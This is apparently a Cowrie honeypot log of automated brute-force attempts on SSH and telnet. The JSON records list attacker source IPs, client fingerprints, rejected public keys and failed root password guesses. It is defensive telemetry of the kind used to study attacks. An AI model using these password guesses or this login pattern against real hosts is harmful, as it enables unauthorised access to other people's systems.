{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:e8:80:76:87:a3:10:5b:e0:96:92:a9:3c:17:a2:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPb5K6vx0/zlXMEUN3swd8bRiv9Ep5BVXX9EAXHzkfRBNt9Pr5rk5/T2KhFO6gBmQVSKJChnkj5LcvMJdbTcr+M707cBNubUT/th8rkUtOWjQXGA+LGPgchMHacRfDWhqoqaOCquGDRQpHKNtisJSFpSWq5pU3pc+55iQmz3hHMdhhuE07cRR0Y94AEx/c5+tS/RR9zIrhmemYJ0VJ9vwSCyx1BTqMD9zdHppgBN61we/kRadVPM1wMw8osW6zQJgAoF7rK6e1OXCMP3oIhjT5J4VNrUNzOXzIMwGcumMEoCzfh4/Lypicd7Ko+6CiFwSejOEjha9y0/EZgu2mhjaj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:00.984010Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:52:31:b3:5c:fe:2c:ab:e6:f8:43:b6:24:d0:ac:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgX8lNu5Ow2+B/L1+eKqOjQPB0xM7cbkk2CeltILOwN5naJOsZhTn31Y7NRoesOBK05xs/ZUMaI+J9uJCVP8OLh+M43HbxGpkGwOiMC922sJG38/rkDxK7I51BwYu5/njbUiZaPP1F0xjKDyJTPR/3BfhiewidtmHl69ZG5Q3ieUBAvq9vvjqbRNUBNtecs6VQzSvWTLyaDO5z7V0X4pdAed8HCNmbpvsf0drQWiifMbj05XUQfWDmhzwKtOX0UmQc3oVLfltBKnAchar0aqBI2mU29moKeQEkRNInRyCAi7lJxU/Z7BfDHvA0WC5Y150w73btHyq9WfEk9J29saOH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:52:31:b3:5c:fe:2c:ab:e6:f8:43:b6:24:d0:ac:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.224039Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:52:31:b3:5c:fe:2c:ab:e6:f8:43:b6:24:d0:ac:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgX8lNu5Ow2+B/L1+eKqOjQPB0xM7cbkk2CeltILOwN5naJOsZhTn31Y7NRoesOBK05xs/ZUMaI+J9uJCVP8OLh+M43HbxGpkGwOiMC922sJG38/rkDxK7I51BwYu5/njbUiZaPP1F0xjKDyJTPR/3BfhiewidtmHl69ZG5Q3ieUBAvq9vvjqbRNUBNtecs6VQzSvWTLyaDO5z7V0X4pdAed8HCNmbpvsf0drQWiifMbj05XUQfWDmhzwKtOX0UmQc3oVLfltBKnAchar0aqBI2mU29moKeQEkRNInRyCAi7lJxU/Z7BfDHvA0WC5Y150w73btHyq9WfEk9J29saOH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.228394Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:63:7b:06:2d:cd:71:5a:2d:6a:da:85:73:6e:5e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNfswLpaKoexnkCPejZ7h14J00i+rti1dhLyLJl1EgyZ8dvsoren9/IzJk7qbOvCvucearlMpGPJW+KAhhDSCnX9odOMs1+TnJWV/qjZ6xWGYZoNzwEO7WkuljD7CSe+SnKpzfN/g5o5AwegSn2PmmrZqAy4kSun7X0IGEffJej5RGvr7ZodLJeA3eRTXd4bq/aykrDuHLf/SPilyFkXdS+fOvyrhyViw69JkQriMthT5A9VdeNMGm8Pg0wtdGndhrOESa2gJ3fWzL8Sw68clI59/W04/9FKuw9AotXunB0CVj1yqIdvsmIgBjK0WfhuMMD+e+9GHsft6LLj3cOw2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:63:7b:06:2d:cd:71:5a:2d:6a:da:85:73:6e:5e:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.465996Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:63:7b:06:2d:cd:71:5a:2d:6a:da:85:73:6e:5e:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNfswLpaKoexnkCPejZ7h14J00i+rti1dhLyLJl1EgyZ8dvsoren9/IzJk7qbOvCvucearlMpGPJW+KAhhDSCnX9odOMs1+TnJWV/qjZ6xWGYZoNzwEO7WkuljD7CSe+SnKpzfN/g5o5AwegSn2PmmrZqAy4kSun7X0IGEffJej5RGvr7ZodLJeA3eRTXd4bq/aykrDuHLf/SPilyFkXdS+fOvyrhyViw69JkQriMthT5A9VdeNMGm8Pg0wtdGndhrOESa2gJ3fWzL8Sw68clI59/W04/9FKuw9AotXunB0CVj1yqIdvsmIgBjK0WfhuMMD+e+9GHsft6LLj3cOw2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.474206Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:3e:ea:2b:3f:ce:b6:c8:e2:f9:7e:ce:56:99:05:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2chZAHQMM5XKp/9fabONGrr2Zv2FryH7RUmTeHiVN7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4b:3e:ea:2b:3f:ce:b6:c8:e2:f9:7e:ce:56:99:05:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.721444Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:3e:ea:2b:3f:ce:b6:c8:e2:f9:7e:ce:56:99:05:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2chZAHQMM5XKp/9fabONGrr2Zv2FryH7RUmTeHiVN7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.726010Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:cf:47:59:08:fb:96:87:5e:23:a5:08:84:ac:00:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrXuSqOyss/AH5AsuQrAP+NMVyNvpRzxsHjjZ5UWdjG8xuVAz8/xkmtVEEmQCW/TZceu8YPFDDVFdLbdyL3buFraKffmxYWWrA6YNv5Nsv0uwVfIhapCynVdfGY66EaRohTT86dxYpvwRWRdYXI2qudOP604YTP5HxnOEYMuKdgThGTZPyaq3wJcIN3QLxKPGN1KccnGygIaQalnBvLKUkurTGTq1vpvOrRTtCeQ6lvt84AFj3TgMXQG7JeCNInOsTxLST2XD6hU6J+oTovLJSBfJTWB6Wh6XH92I5NRzVcZp5n2M5JTFLehbH85Bg0CStVdGbnNIpXP0Gyjsf0dd/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:cf:47:59:08:fb:96:87:5e:23:a5:08:84:ac:00:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.969880Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:cf:47:59:08:fb:96:87:5e:23:a5:08:84:ac:00:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrXuSqOyss/AH5AsuQrAP+NMVyNvpRzxsHjjZ5UWdjG8xuVAz8/xkmtVEEmQCW/TZceu8YPFDDVFdLbdyL3buFraKffmxYWWrA6YNv5Nsv0uwVfIhapCynVdfGY66EaRohTT86dxYpvwRWRdYXI2qudOP604YTP5HxnOEYMuKdgThGTZPyaq3wJcIN3QLxKPGN1KccnGygIaQalnBvLKUkurTGTq1vpvOrRTtCeQ6lvt84AFj3TgMXQG7JeCNInOsTxLST2XD6hU6J+oTovLJSBfJTWB6Wh6XH92I5NRzVcZp5n2M5JTFLehbH85Bg0CStVdGbnNIpXP0Gyjsf0dd/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:01.974819Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:02.218150Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"be49f628b334","protocol":"ssh","message":"New connection: 147.45.211.215:44432 (10.17.0.5:22) [session: be49f628b334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:03.225077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:03.235310Z","src_ip":"147.45.211.215","session":"be49f628b334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:03.411917Z","src_ip":"147.45.211.215","session":"be49f628b334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"logitech","message":"login attempt [root/logitech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:03.926716Z","src_ip":"147.45.211.215","session":"be49f628b334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:05.103368Z","src_ip":"147.45.211.215","session":"be49f628b334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53108,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfd59113154","protocol":"ssh","message":"New connection: 193.37.70.224:53108 (10.17.0.5:22) [session: 4cfd59113154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:13.970459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:13.979178Z","src_ip":"193.37.70.224","session":"4cfd59113154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:14.069169Z","src_ip":"193.37.70.224","session":"4cfd59113154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77887788","message":"login attempt [root/77887788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:14.340054Z","src_ip":"193.37.70.224","session":"4cfd59113154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:15.456751Z","src_ip":"193.37.70.224","session":"4cfd59113154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.610668659210205,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:32.501624Z","src_ip":"152.42.224.71","session":"6e5409f02171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":33048,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18905cbd4b1","protocol":"ssh","message":"New connection: 77.94.47.83:33048 (159.203.135.109:22) [session: a18905cbd4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:54.577848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:54.582834Z","src_ip":"77.94.47.83","session":"a18905cbd4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:54.701867Z","src_ip":"77.94.47.83","session":"a18905cbd4b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101010","message":"login attempt [root/10101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:55.075764Z","src_ip":"77.94.47.83","session":"a18905cbd4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:56.199026Z","src_ip":"77.94.47.83","session":"a18905cbd4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"34dbfab2192c","protocol":"telnet","message":"New connection: 152.42.224.71:47516 (10.17.0.5:23) [session: 34dbfab2192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:02.223747Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51678,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5b4b63c8c63","protocol":"ssh","message":"New connection: 147.45.197.250:51678 (10.17.0.5:22) [session: b5b4b63c8c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:19.774015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:19.781198Z","src_ip":"147.45.197.250","session":"b5b4b63c8c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:19.875877Z","src_ip":"147.45.197.250","session":"b5b4b63c8c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pioner","message":"login attempt [root/pioner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:20.165054Z","src_ip":"147.45.197.250","session":"b5b4b63c8c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:21.264888Z","src_ip":"147.45.197.250","session":"b5b4b63c8c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56726,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3719a4e2f81","protocol":"telnet","message":"New connection: 152.42.224.71:56726 (10.17.0.5:23) [session: b3719a4e2f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:33.266729Z"}
{"eventid":"cowrie.session.closed","duration":36.35931730270386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:38.582914Z","src_ip":"152.42.224.71","session":"34dbfab2192c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":37120,"dst_ip":"159.203.135.109","dst_port":23,"session":"8410a22af36e","protocol":"telnet","message":"New connection: 213.108.3.46:37120 (159.203.135.109:23) [session: 8410a22af36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:51.679021Z"}
{"eventid":"cowrie.session.closed","duration":0.018871307373046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:20:51.697717Z","src_ip":"213.108.3.46","session":"8410a22af36e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":33158,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1c69f5fcc5","protocol":"ssh","message":"New connection: 185.236.22.41:33158 (159.203.135.109:22) [session: ca1c69f5fcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:11.711508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:11.717700Z","src_ip":"185.236.22.41","session":"ca1c69f5fcc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:11.839567Z","src_ip":"185.236.22.41","session":"ca1c69f5fcc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rai1969","message":"login attempt [root/rai1969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:12.251489Z","src_ip":"185.236.22.41","session":"ca1c69f5fcc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:13.397680Z","src_ip":"185.236.22.41","session":"ca1c69f5fcc5","protocol":"ssh"}
